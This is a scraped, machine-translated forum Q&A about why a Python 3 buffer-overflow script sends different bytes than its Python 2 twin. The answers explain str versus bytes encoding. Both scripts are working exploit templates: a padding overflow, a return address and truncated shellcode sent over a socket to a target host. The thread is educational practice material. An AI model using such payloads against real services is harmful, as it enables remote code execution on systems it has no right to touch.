Sockets Python3和Python2之间的差异-socket.send数据
我正在练习一些缓冲区溢出技术和 我在发送存储数据时遇到了一个奇怪的问题 我有两个几乎相同的密码,除了事实 在Python3代码中,我更改了sock.send来编码 字符串(在Python2中,您不需要该字符串) Python2代码:Sockets Python3和Python2之间的差异-socket.send数据,sockets,python-3.x,buffer-overflow,Sockets,Python 3.x,Buffer Overflow,我正在练习一些缓冲区溢出技术和 我在发送存储数据时遇到了一个奇怪的问题 我有两个几乎相同的密码,除了事实 在Python3代码中,我更改了sock.send来编码 字符串(在Python2中,您不需要该字符串) Python2代码: import socket,sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect ((sys.argv[1], 10000)) buffer = "A"*268 buff
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer)
sock.close
Python 3代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer.encode())
sock.close
我发送缓冲区,然后用调试器检查EIP/SEP值
我发现Python2代码和Python3之间的值不同
代码。这怎么可能
两者的缓冲区相同,因此调试器中的EIP/SEP应该相同
换句话说,从服务器的角度(获取套接字数据)
看起来它得到了不同的数据结构或类似的东西
有什么想法吗
谢谢。您的服务器和调试器是正确的-缓冲区内容不同 在Python2和Python3中,如果编写
buffer=“A”*268
,则缓冲区的类型为str
。然而,str
代表什么
在python 2中,str
实际上是一个字节数组。在Python3中,它是人类可读的字符序列,而不是字节(在Python2中称为“unicode字符串”)
如果进一步使用.encode()
,将使用utf-8
将字符序列转换为字节序列。可以说,这是你的一根弦
您可能想做的是
buffer=b“A”*268
,它将使用字节而不是str
。您还需要使用b
作为所有连接字节序列的前缀,您可以使用six.b
使其与python2和python3兼容:
import six
...
sock.send(six.b(buffer))
尝试使用
b“\x70\xfb\x22\x00”
,即确保您使用的是字节
而不是str
,然后删除encode()。在Python 3中,str
是一个unicode字符串,encode()
使用默认字符集对其进行编码,因此您不会发送指定的字节。您说得对,谢谢。如果我把b放在该代码中任何str之前,它就会工作。我以为“encode()”会将它们全部转换成字节。那么,如何在一个命令中“字节”所有字符,而不是在每一行中“字节”?谢谢–你说得对,谢谢。如果我在代码中的任何str之前放置b,它就会工作。我认为“encode()”会将所有字符转换为字节。那么,如何在一个命令中“字节”所有字符,而不是在每一行中“字节”?thanks@user1641071encode
确实将str
转换为字节
-只是不是您想要的字节:)我认为没有b
,您无法声明字节,如果您首先将它们声明为str
,则无法“转换”。但我可能错了,你应该问一个新问题